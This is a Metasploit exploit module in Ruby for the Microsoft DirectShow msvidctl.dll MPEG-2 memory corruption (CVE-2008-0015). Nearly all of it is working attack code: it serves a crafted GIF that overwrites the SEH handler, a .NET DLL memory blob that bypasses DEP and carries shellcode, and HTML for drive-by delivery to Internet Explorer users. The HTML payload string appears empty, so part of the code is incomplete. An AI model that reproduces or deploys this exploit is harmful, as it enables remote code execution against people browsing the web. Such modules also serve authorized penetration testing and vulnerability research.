## # msvidctl_mpeg2.rb # # Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework # # Tested successfully on the following platforms (fully patched 06/07/09): # - Internet Explorer 6, Windows XP SP2 # - Internet Explorer 7, Windows XP SP3 # # Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites. # The original exploit can be found here (shellcode changed to execute calc.exe): # http://www.rec-sec.com/exploits/aa.rar # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption NX Bypass', 'Description' => %q{ This module exploits a memory corruption within the MSVidCtl component of Microsoft DirectShow (BDATuner.MPEG2TuneRequest).By loading a specially crafted GIF file, an attacker can overrun a buffer and execute arbitrary code. This module also uses the .NET DLL memory technique to bypass DEP. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer ', # orginal exploit 'Snake '$Revision:$', 'References' => [ [ 'CVE', '2008-0015' ], [ 'OSVDB', '55651' ], [ 'BID', '35558' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x24242424 } ] ], 'DisclosureDate' => 'Jul 05 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) ibase = 0x24240000 vaddr = ibase + 0x2065 if (request.uri.match(/\.dll$/i)) print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") return if ((p = regenerate_payload(cli)) == nil) # First entry points to the table of pointers vtable = [ vaddr + 4 ].pack("V") cbase = ibase + 0x2065 + (256 * 4) # Build a function table 255.times { vtable << [cbase].pack("V") } # Append the shellcode nops = make_nops(100) vtable << nops vtable << p.encoded send_response( cli, Rex::Text.to_dotnetmem(ibase, vtable), { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' } ) return end if (request.uri.match(/\.gif$/i)) print_status("Sending GIF to #{cli.peerhost}:#{cli.peerport}...") ret = Rex::Text.uri_encode([target.ret].pack('L')) gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\xFF\xFF\xFF\xFF" # End of SEH chain gif << [target.ret].pack('V') # SE Handler gif << "\x00" send_response(cli, gif, { 'Content-Type' => 'image/gif' }) return end print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize the javascript variable names msvidctl = rand_text_alpha(rand(100) + 1) div = rand_text_alpha(rand(100) + 1) j_function = rand_text_alpha(rand(100) + 1) html = %Q|
| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end